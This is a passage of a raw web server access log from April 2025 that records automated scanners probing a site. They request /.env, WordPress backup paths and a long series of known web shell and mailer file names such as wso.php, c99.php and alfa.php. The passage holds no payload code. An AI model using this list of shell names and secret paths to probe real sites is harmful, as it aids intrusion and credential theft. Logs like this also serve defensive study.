[09/Apr/2025:20:40:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.225.85 - - [09/Apr/2025:20:40:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.225.85 - - [09/Apr/2025:20:40:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.225.85 - - [09/Apr/2025:20:40:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.225.85 - - [09/Apr/2025:20:40:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 40.117.194.168 - - [09/Apr/2025:21:47:24 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:26 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:29 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:32 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:33 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:35 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:38 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:39 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:42 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.117.194.168 - - [09/Apr/2025:21:47:43 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:47 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:50 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:51 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:51 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:52 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:52 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:53 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:53 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:54 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:21:58:54 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 18.223.108.59 - - [09/Apr/2025:22:23:22 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 54.236.1.11 - - [09/Apr/2025:22:38:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 13.37.235.226 - - [09/Apr/2025:22:43:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 167.94.146.48 - - [09/Apr/2025:23:19:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2602:80d:1005::10 - - [09/Apr/2025:23:19:41 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 193.23.3.90 - - [09/Apr/2025:23:35:40 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 193.23.3.90 - - [09/Apr/2025:23:35:41 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 40.70.66.203 - - [09/Apr/2025:23:37:53 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:54 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:55 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:55 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:55 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:56 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:56 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:56 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:57 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [09/Apr/2025:23:37:57 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 114.119.157.82 - - [09/Apr/2025:23:41:13 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 195.20.18.175 - - [09/Apr/2025:23:45:30 -0400] "GET /server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 52.18.177.61 - - [09/Apr/2025:23:57:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 196.251.88.242 - - [10/Apr/2025:00:06:04 -0400] "GET /simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.88.242 - - [10/Apr/2025:00:06:40 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.165.70.220 - - [10/Apr/2025:01:42:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 146.190.250.250 - - [10/Apr/2025:02:24:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 192.161.162.179 - - [10/Apr/2025:02:55:54 -0400] "GET /Public/Jquery/plupload-2.1.1/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 197.147.236.176 - - [10/Apr/2025:03:09:25 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:27 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:30 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:32 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:34 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:36 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:39 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:41 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:42 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:44 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:47 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:49 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:51 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:53 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:55 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:58 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:09:59 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:01 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:03 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:05 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:08 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:10 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:12 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:16 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:19 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:23 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:27 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:30 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:34 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:38 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:41 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:43 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:45 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:48 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:52 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:54 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:56 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:10:58 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:01 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:02 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:04 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:07 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:15 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:23 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:25 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:27 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:30 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:32 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:35 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:37 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:41 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:43 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:45 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:47 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:49 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:52 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.236.176 - - [10/Apr/2025:03:11:54 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 114.119.156.188 - - [10/Apr/2025:03:24:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 43.128.149.102 - - [10/Apr/2025:03:31:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.0.132.37 - - [10/Apr/2025:03:43:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 3.12.152.185 - - [10/Apr/2025:03:47:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 222.79.104.23 - - [10/Apr/2025:04:01:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 18.223.108.59 - - [10/Apr/2025:04:13:12 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 216.244.66.237 - - [10/Apr/2025:05:16:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 118.68.23.75 - - [10/Apr/2025:05:55:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Screaming Frog SEO Spider/20.2" 52.184.145.216 - - [10/Apr/2025:06:34:19 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:19 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:20 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:20 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:20 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:20 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:21 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:21 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:21 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:21 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:21 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:21 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:22 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:22 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:22 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:22 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:22 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:23 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:23 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [10/Apr/2025:06:34:23 